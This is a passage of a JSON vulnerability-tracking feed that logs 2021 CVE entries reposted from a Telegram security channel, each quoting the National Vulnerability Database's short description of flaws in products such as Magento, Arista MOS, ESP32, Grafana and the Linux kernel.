"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28567", "type": "seen", "source": "https://t.me/cibsecurity/28507", "content": "\u203c CVE-2021-28567 \u203c\n\nMagento versions 2.4.2 (and earlier), 2.4.1-p1 (and earlier) and 2.3.6-p1 (and earlier) are vulnerable to an Improper Authorization vulnerability in the customers module. Successful exploitation could allow a low-privileged user to modify customer data. Access to the admin console is required for successful exploitation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-08T20:45:36.000000Z"}, {"uuid": "fa422765-ad5d-4fa9-b874-2fce3673891d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28000", "type": "seen", "source": "https://t.me/cibsecurity/27596", "content": "\u203c CVE-2021-28000 \u203c\n\nA persistent cross-site scripting vulnerability was discovered in Local Services Search Engine Management System Project 1.0 which allows remote attackers to execute arbitrary code via crafted payloads entered into the Name and Address fields.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-19T18:17:58.000000Z"}, {"uuid": "cccb6ffc-dc96-4b48-b1a3-978d4fed937b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28127", "type": "seen", "source": "https://t.me/cibsecurity/25866", "content": "\u203c CVE-2021-28127 \u203c\n\nAn issue was discovered in Stormshield SNS through 4.2.1. A brute-force attack can occur.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-01T18:32:22.000000Z"}, {"uuid": "247a5ebf-5e50-4002-b38b-c9b54b29f4ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28424", "type": "seen", "source": "https://t.me/cibsecurity/25865", "content": "\u203c CVE-2021-28424 \u203c\n\nA stored cross-site scripting (XSS) vulnerability in Teachers Record Management System 1.0 allows remote authenticated users to inject arbitrary web script or HTML via the 'email' POST parameter in adminprofile.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-01T18:32:21.000000Z"}, {"uuid": "10bdbf3e-161a-4806-b19c-93d6d8dbaf3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28423", "type": "seen", "source": "https://t.me/cibsecurity/25864", "content": "\u203c CVE-2021-28423 \u203c\n\nMultiple SQL Injection vulnerabilities in Teachers Record Management System 1.0 allow remote authenticated users to execute arbitrary SQL commands via the 'editid' GET parameter in edit-subjects-detail.php, edit-teacher-detail.php, or the 'searchdata' POST parameter in search.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-01T18:32:20.000000Z"}, {"uuid": "952bdb0c-68f3-485f-8043-1802acbf1008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28499", "type": "seen", "source": "https://t.me/cibsecurity/28586", "content": "\u203c CVE-2021-28499 \u203c\n\nIn Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, user account passwords set in clear text could leak to users without any password. This issue affects: Arista Metamako Operating System MOS-0.18 and post releases in the MOS-0.1x train All releases in the MOS-0.2x train MOS-0.31.1 and prior releases in the MOS-0.3x train\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T16:29:58.000000Z"}, {"uuid": "ab3dca23-cb4f-4270-b031-6fc4c1c04acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28494", "type": "seen", "source": "https://t.me/cibsecurity/28583", "content": "\u203c CVE-2021-28494 \u203c\n\nIn Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, under certain conditions, authentication is bypassed by unprivileged users who are accessing the Web UI. This issue affects: Arista Metamako Operating System MOS-0.34.0 and prior releases\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T16:29:55.000000Z"}, {"uuid": "26b9bc93-bf99-4bdf-a0b7-6b40346aa048", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28498", "type": "seen", "source": "https://t.me/cibsecurity/28582", "content": "\u203c CVE-2021-28498 \u203c\n\nIn Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, user enable passwords set in clear text could result in unprivileged users getting complete access to the systems. This issue affects: Arista Metamako Operating System MOS-0.13 and post releases in the MOS-0.1x train MOS-0.26.6 and prior releases in the MOS-0.2x train MOS-0.31.1 and prior releases in the MOS-0.3x train\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T16:29:54.000000Z"}, {"uuid": "d0aa8b78-ba41-4c09-a5a7-108fac7f27e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28909", "type": "seen", "source": "https://t.me/cibsecurity/28628", "content": "\u203c CVE-2021-28909 \u203c\n\nBAB TECHNOLOGIE GmbH eibPort V3 prior version 3.9.1 allow unauthenticated attackers to access uncontrolled the login service at /webif/SecurityModule in a brute force attack. The password could be weak and default username is known as 'admin'. This is usable and part of an attack chain to gain SSH root access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T22:30:19.000000Z"}, {"uuid": "dd954977-2143-471e-9553-6ab5823f2507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28493", "type": "seen", "source": "https://t.me/cibsecurity/28579", "content": "\u203c CVE-2021-28493 \u203c\n\nIn Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, under certain conditions, a user may be able to execute commands despite not having the privileges to do so. This issue affects: Arista Metamako Operating System All releases in the MOS-0.1x train MOS-0.32.0 and prior releases\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T16:29:50.000000Z"}, {"uuid": "696a88c1-71ff-402c-bb21-f86cb24cba76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28497", "type": "seen", "source": "https://t.me/cibsecurity/28578", "content": "\u203c CVE-2021-28497 \u203c\n\nIn Arista's MOS (Metamako Operating System) software which is supported on the 7130 product line, under certain conditions, the bash shell might be accessible to unprivileged users in situations where they should not have access. This issue affects: Arista Metamako Operating System All releases in the MOS-0.1x train MOS-0.26.6 and below releases in the MOS-0.2x train MOS-0.31.1 and below releases in the MOS-0.3x train\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T16:29:49.000000Z"}, {"uuid": "fadf2bcf-dacc-488d-93c1-7ee0b544aa08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28913", "type": "seen", "source": "https://t.me/cibsecurity/28621", "content": "\u203c CVE-2021-28913 \u203c\n\nBAB TECHNOLOGIE GmbH eibPort V3 prior version 3.9.1 allow unauthenticated attackers access to /webif/SecurityModule to validate the so called and hard coded unique 'eibPort String' which acts as the root SSH key passphrase. This is usable and part of an attack chain to gain SSH root access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-09T22:29:58.000000Z"}, {"uuid": "74418695-fb6a-46a9-b188-c9093280706b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28809", "type": "seen", "source": "https://t.me/cibsecurity/25995", "content": "\u203c CVE-2021-28809 \u203c\n\nAn improper access control vulnerability has been reported to affect certain legacy versions of HBS 3. If exploited, this vulnerability allows attackers to compromise the security of the operating system.QNAP have already fixed this vulnerability in the following versions of HBS 3: QTS 4.3.6: HBS 3 v3.0.210507 and later QTS 4.3.4: HBS 3 v3.0.210506 and later QTS 4.3.3: HBS 3 v3.0.210506 and later\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-08T12:38:42.000000Z"}, {"uuid": "f1020807-8b97-4b41-9852-5d9e387583be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28566", "type": "seen", "source": "https://t.me/cibsecurity/28503", "content": "\u203c CVE-2021-28566 \u203c\n\nMagento versions 2.4.2 (and earlier), 2.4.1-p1 (and earlier) and 2.3.6-p1 (and earlier) are vulnerable to an Information Disclosure vulnerability when uploading a modified png file to a product image. Successful exploitation could lead to the disclosure of document root path by an unauthenticated attacker. Access to the admin console is required for successful exploitation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-08T20:45:30.000000Z"}, {"uuid": "715add9e-89e0-4e0b-84de-46c631925edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28580", "type": "seen", "source": "https://t.me/cibsecurity/28492", "content": "\u203c CVE-2021-28580 \u203c\n\nMedium by Adobe version 2.4.5.331 (and earlier) is affected by a buffer overflow vulnerability when parsing a crafted file. An unauthenticated attacker could leverage this vulnerability to achieve remote code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-08T18:43:04.000000Z"}, {"uuid": "d668bf64-26c1-4523-89d1-8a9013eb44c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28155", "type": "seen", "source": "https://t.me/cibsecurity/28321", "content": "\u203c CVE-2021-28155 \u203c\n\nThe Bluetooth Classic implementation on JBL TUNE500BT devices does not properly handle the reception of continuous unsolicited LMP responses, allowing attackers in radio range to trigger a denial of service and shutdown a device by flooding the target device with LMP Feature Response data.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-07T12:17:18.000000Z"}, {"uuid": "6e15e28c-f247-42f7-9c24-afbd19f1527f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28136", "type": "seen", "source": "https://t.me/cibsecurity/28317", "content": "\u203c CVE-2021-28136 \u203c\n\nThe Bluetooth Classic implementation in Espressif ESP-IDF 4.4 and earlier does not properly handle the reception of multiple LMP IO Capability Request packets during the pairing process, allowing attackers in radio range to trigger memory corruption (and consequently a crash) in ESP32 via a replayed (duplicated) LMP packet.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-07T12:17:14.000000Z"}, {"uuid": "def74d32-9abc-468d-b8a5-41588be58a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28692", "type": "seen", "source": "https://t.me/cibsecurity/25813", "content": "\u203c CVE-2021-28692 \u203c\n\ninappropriate x86 IOMMU timeout detection / handling IOMMUs process commands issued to them in parallel with the operation of the CPU(s) issuing such commands. In the current implementation in Xen, asynchronous notification of the completion of such commands is not used. Instead, the issuing CPU spin-waits for the completion of the most recently issued command(s). Some of these waiting loops try to apply a timeout to fail overly-slow commands. The course of action upon a perceived timeout actually being detected is inappropriate: - on Intel hardware guests which did not originally cause the timeout may be marked as crashed, - on AMD hardware higher layer callers would not be notified of the issue, making them continue as if the IOMMU operation succeeded.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-30T14:29:56.000000Z"}, {"uuid": "2eafe258-e605-48b1-a7b0-ac35f5168ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "seen", "source": "https://t.me/cibsecurity/28322", "content": "\u203c CVE-2021-28139 \u203c\n\nThe Bluetooth Classic implementation in Espressif ESP-IDF 4.4 and earlier does not properly restrict the Feature Page upon reception of an LMP Feature Response Extended packet, allowing attackers in radio range to trigger arbitrary code execution in ESP32 via a crafted Extended Features bitfield payload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-07T12:17:22.000000Z"}, {"uuid": "eae95b0d-6cf6-4a28-8ae4-065acf3a81bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28803", "type": "seen", "source": "https://t.me/cibsecurity/25847", "content": "\u203c CVE-2021-28803 \u203c\n\nThis issue affects: QNAP Systems Inc. Q'center versions prior to 1.11.1004.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-07-01T07:30:42.000000Z"}, {"uuid": "31aa7e60-34a6-4a2c-9564-8802913fd14e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28575", "type": "seen", "source": "https://t.me/cibsecurity/25742", "content": "\u203c CVE-2021-28575 \u203c\n\nAdobe Animate version 21.0.5 (and earlier) is affected by an Out-of-bounds Read vulnerability when parsing a specially crafted file. An unauthenticated attacker could leverage this vulnerability to disclose sensitive information in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-28T18:27:19.000000Z"}, {"uuid": "7f94905f-07ae-42f0-b672-3d38bf00b244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28570", "type": "seen", "source": "https://t.me/cibsecurity/25740", "content": "\u203c CVE-2021-28570 \u203c\n\nAdobe After Effects version 18.1 (and earlier) is affected by an Uncontrolled Search Path element vulnerability. An unauthenticated attacker could exploit this to to plant custom binaries and execute them with System permissions. Exploitation of this issue requires user interaction.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-06-28T18:27:17.000000Z"}, {"uuid": "06cc3014-b3c3-465b-9721-4a65828a1796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28490", "type": "seen", "source": "https://t.me/cibsecurity/27617", "content": "\u203c CVE-2021-28490 \u203c\n\nIn OWASP CSRFGuard through 3.1.0, CSRF can occur because the CSRF cookie may be retrieved by using only a session token.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-19T22:18:12.000000Z"}, {"uuid": "d8d16f3c-da69-4f1a-9a50-eb64e410d46b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28001", "type": "seen", "source": "https://t.me/cibsecurity/27598", "content": "\u203c CVE-2021-28001 \u203c\n\nA cross-site scripting vulnerability was discovered in the Comments parameter in Textpattern CMS 4.8.4 which allows remote attackers to execute arbitrary code via a crafted payload entered into the URL field. The vulnerability is triggered by users visiting https://site.com/articles/welcome-to-your-site#comments-head.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-19T18:18:00.000000Z"}, {"uuid": "7c132098-5d03-4dee-ae16-acc5813bc4b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28002", "type": "seen", "source": "https://t.me/cibsecurity/27597", "content": "\u203c CVE-2021-28002 \u203c\n\nA persistent cross-site scripting vulnerability was discovered in the Excerpt parameter in Textpattern CMS 4.9.0 which allows remote attackers to execute arbitrary code via a crafted payload entered into the URL field. The vulnerability is triggered by users visiting the 'Articles' page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-19T18:17:59.000000Z"}, {"uuid": "b45d9313-476b-4efa-87de-aa108ebdae9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28126", "type": "seen", "source": "https://t.me/cibsecurity/25165", "content": "\u203c CVE-2021-28126 \u203c\n\nindex.jsp in TranzWare e-Commerce Payment Gateway (TWEC PG) before 3.1.27.5 had a Stored cross-site scripting (XSS) vulnerability\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-19T06:32:56.000000Z"}, {"uuid": "b99a7388-719f-43c0-80e7-22f5b4bc9351", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/cibsecurity/27466", "content": "\u203c CVE-2021-28372 \u203c\n\nThroughTek's Kalay Platform 2.0 network allows an attacker to impersonate an arbitrary ThroughTek (TUTK) device given a valid 20-byte uniquely assigned identifier (UID). This could result in an attacker hijacking a victim's connection and forcing them into supplying credentials needed to access the victim TUTK device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-18T02:16:07.000000Z"}, {"uuid": "03198266-197b-4309-8c64-b6a8bef866f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28109", "type": "seen", "source": "https://t.me/cibsecurity/25173", "content": "\u203c CVE-2021-28109 \u203c\n\nTranzWare (POI) FIMI before 4.2.20.4.2 allows login_tw.php reflected Cross-Site Scripting (XSS).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-19T06:33:09.000000Z"}, {"uuid": "d6b14658-eb67-4270-b425-89a2e6a1cb33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28110", "type": "seen", "source": "https://t.me/cibsecurity/25170", "content": "\u203c CVE-2021-28110 \u203c\n\n/exec in TranzWare e-Commerce Payment Gateway (TWEC PG) before 3.1.27.5 had a vulnerability in its XML parser.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-19T06:33:03.000000Z"}, {"uuid": "db3fa470-df2f-4ce4-a940-629a42c53f3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28968", "type": "seen", "source": "https://t.me/cibsecurity/25236", "content": "\u203c CVE-2021-28968 \u203c\n\nAn issue was discovered in PunBB before 1.4.6. An XSS vulnerability in the [email] BBcode tag allows (with authentication) injecting arbitrary JavaScript into any forum message.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-22T19:37:29.000000Z"}, {"uuid": "251ef83a-7c3d-49a8-be4e-8badd8747f66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28971", "type": "seen", "source": "https://t.me/cibsecurity/25234", "content": "\u203c CVE-2021-28971 \u203c\n\nIn intel_pmu_drain_pebs_nhm in arch/x86/events/intel/ds.c in the Linux kernel through 5.11.8 on some Haswell CPUs, userspace applications (such as perf-fuzzer) can cause a system crash because the PEBS status in a PEBS record is mishandled, aka CID-d88d05a9e0b6.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-22T19:37:27.000000Z"}, {"uuid": "2c6e4f8e-31e7-4996-9802-ecbc93deb413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28146", "type": "seen", "source": "https://t.me/cibsecurity/25228", "content": "\u203c CVE-2021-28146 \u203c\n\nThe team sync HTTP API in Grafana Enterprise 7.4.x before 7.4.5 has an Incorrect Access Control issue. On Grafana instances using an external authentication service, this vulnerability allows any authenticated user to add external groups to existing teams. This can be used to grant a user team permissions that the user isn't supposed to have.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-22T17:37:17.000000Z"}, {"uuid": "b98ca2c2-1788-4c3e-9144-7ec407312678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28148", "type": "seen", "source": "https://t.me/cibsecurity/25226", "content": "\u203c CVE-2021-28148 \u203c\n\nOne of the usage insights HTTP API endpoints in Grafana Enterprise 6.x before 6.7.6, 7.x before 7.3.10, and 7.4.x before 7.4.5 is accessible without any authentication. This allows any unauthenticated user to send an unlimited number of requests to the endpoint, leading to a denial of service (DoS) attack against a Grafana Enterprise instance.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-22T17:37:15.000000Z"}, {"uuid": "2614caa7-a15c-445a-860f-368931786d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28147", "type": "seen", "source": "https://t.me/cibsecurity/25225", "content": "\u203c CVE-2021-28147 \u203c\n\nThe team sync HTTP API in Grafana Enterprise 6.x before 6.7.6, 7.x before 7.3.10, and 7.4.x before 7.4.5 has an Incorrect Access Control issue. On Grafana instances using an external authentication service and having the EditorsCanAdmin feature enabled, this vulnerability allows any authenticated user to add external groups to any existing team. This can be used to grant a user team permissions that the user isn't supposed to have.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-22T17:37:14.000000Z"}, {"uuid": "2b951df4-ea81-48f1-bc15-18155cc7f4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28953", "type": "seen", "source": "https://t.me/cibsecurity/25216", "content": "\u203c CVE-2021-28953 \u203c\n\nThe unofficial C/C++ Advanced Lint extension before 1.9.0 for Visual Studio Code allows attackers to execute arbitrary binaries if the user opens a crafted repository.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-21T11:35:33.000000Z"}, {"uuid": "fde47258-d82f-4b59-b262-651bd233c685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28653", "type": "seen", "source": "https://t.me/cibsecurity/25163", "content": "\u203c CVE-2021-28653 \u203c\n\nThe iOS and macOS apps before 1.4.1 for the Western Digital G-Technology ArmorLock NVMe SSD store keys insecurely. They choose a non-preferred storage mechanism if the device has Secure Enclave support but lacks biometric authentication hardware.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-19T06:32:54.000000Z"}, {"uuid": "b8a6880e-62bb-40c7-b2c9-6f93f971f719", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28796", "type": "seen", "source": "https://t.me/cibsecurity/25119", "content": "\u203c CVE-2021-28796 \u203c\n\nIncrements Qiita::Markdown before 0.33.0 allows XSS in transformers.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T19:32:14.000000Z"}, {"uuid": "0464a1bc-a9b7-4645-b3b3-0d4f689a3a8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28972", "type": "seen", "source": "https://t.me/cibsecurity/25240", "content": "\u203c CVE-2021-28972 \u203c\n\nIn drivers/pci/hotplug/rpadlpar_sysfs.c in the Linux kernel through 5.11.8, the RPA PCI Hotplug driver has a user-tolerable buffer overflow when writing a new device name to the driver from userspace, allowing userspace to write data to the kernel stack frame directly. This occurs because add_slot_store and remove_slot_store mishandle drc_name '\\0' termination, aka CID-cc7a0bb058b8.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-22T19:37:36.000000Z"}, {"uuid": "ddafd051-c0a4-4088-8232-6ad393e96660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28954", "type": "seen", "source": "https://t.me/cibsecurity/25215", "content": "\u203c CVE-2021-28954 \u203c\n\nIn Chris Walz bit before 1.0.5 on Windows, attackers can run arbitrary code via a .exe file in a crafted repository.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-21T11:35:33.000000Z"}, {"uuid": "4ba7c61d-c2b9-4d3d-8288-66c470b7cdb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28957", "type": "seen", "source": "https://t.me/cibsecurity/25214", "content": "\u203c CVE-2021-28957 \u203c\n\nlxml 4.6.2 places the HTML action attribute into defs.link_attrs (in html/defs.py) for later use in input sanitization, but does not do the same for the HTML5 formaction attribute.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-21T11:35:32.000000Z"}, {"uuid": "d45f527e-86f3-44d7-bb50-4a35349053c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28961", "type": "seen", "source": "https://t.me/cibsecurity/25213", "content": "\u203c CVE-2021-28961 \u203c\n\napplications/luci-app-ddns/luasrc/model/cbi/ddns/detail.lua in the DDNS package for OpenWrt 19.07 allows remote authenticated users to inject arbitrary commands via POST requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-21T11:35:31.000000Z"}, {"uuid": "5472cb3d-65b0-4edf-99f8-ef2b3dc80c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28132", "type": "seen", "source": "https://t.me/cibsecurity/24748", "content": "\u203c CVE-2021-28132 \u203c\n\nLUCY Security Awareness Software through 4.7.x allows unauthenticated remote code execution because the Migration Tool (in the Support section) allows upload of .php files within a system.tar.gz file. The .php file becomes accessible with a public/system/static URI.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-11T12:53:58.000000Z"}, {"uuid": "98c0cbd9-5f23-4836-80a4-e8e4b2968e5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28160", "type": "seen", "source": "https://t.me/cibsecurity/25143", "content": "\u203c CVE-2021-28160 \u203c\n\nStored XSS on Acexy (BoyaMicro) Wireless-N WiFi Repeater 28.08.06.1 version 1.0 devices can occur via a malformed SSID field during scanning for nearby access points, which also occurs when a device's user visits the Repeater Wizard web management section. This enables an attacker to steal LAN credentials without being connected to the device.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-03-18T21:32:31.000000Z"}, {"uuid": "86bad2db-21b6-4610-bfab-6f18ccb65000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28792", "type": "seen", "source": "https://t.me/cibsecurity/25130", "content": "\u203c CVE-2021-28792 \u203c\n\nThe unofficial Swift Development Environment extension before 2.12.1 for Visual Studio Code allows remote attackers to execute arbitrary 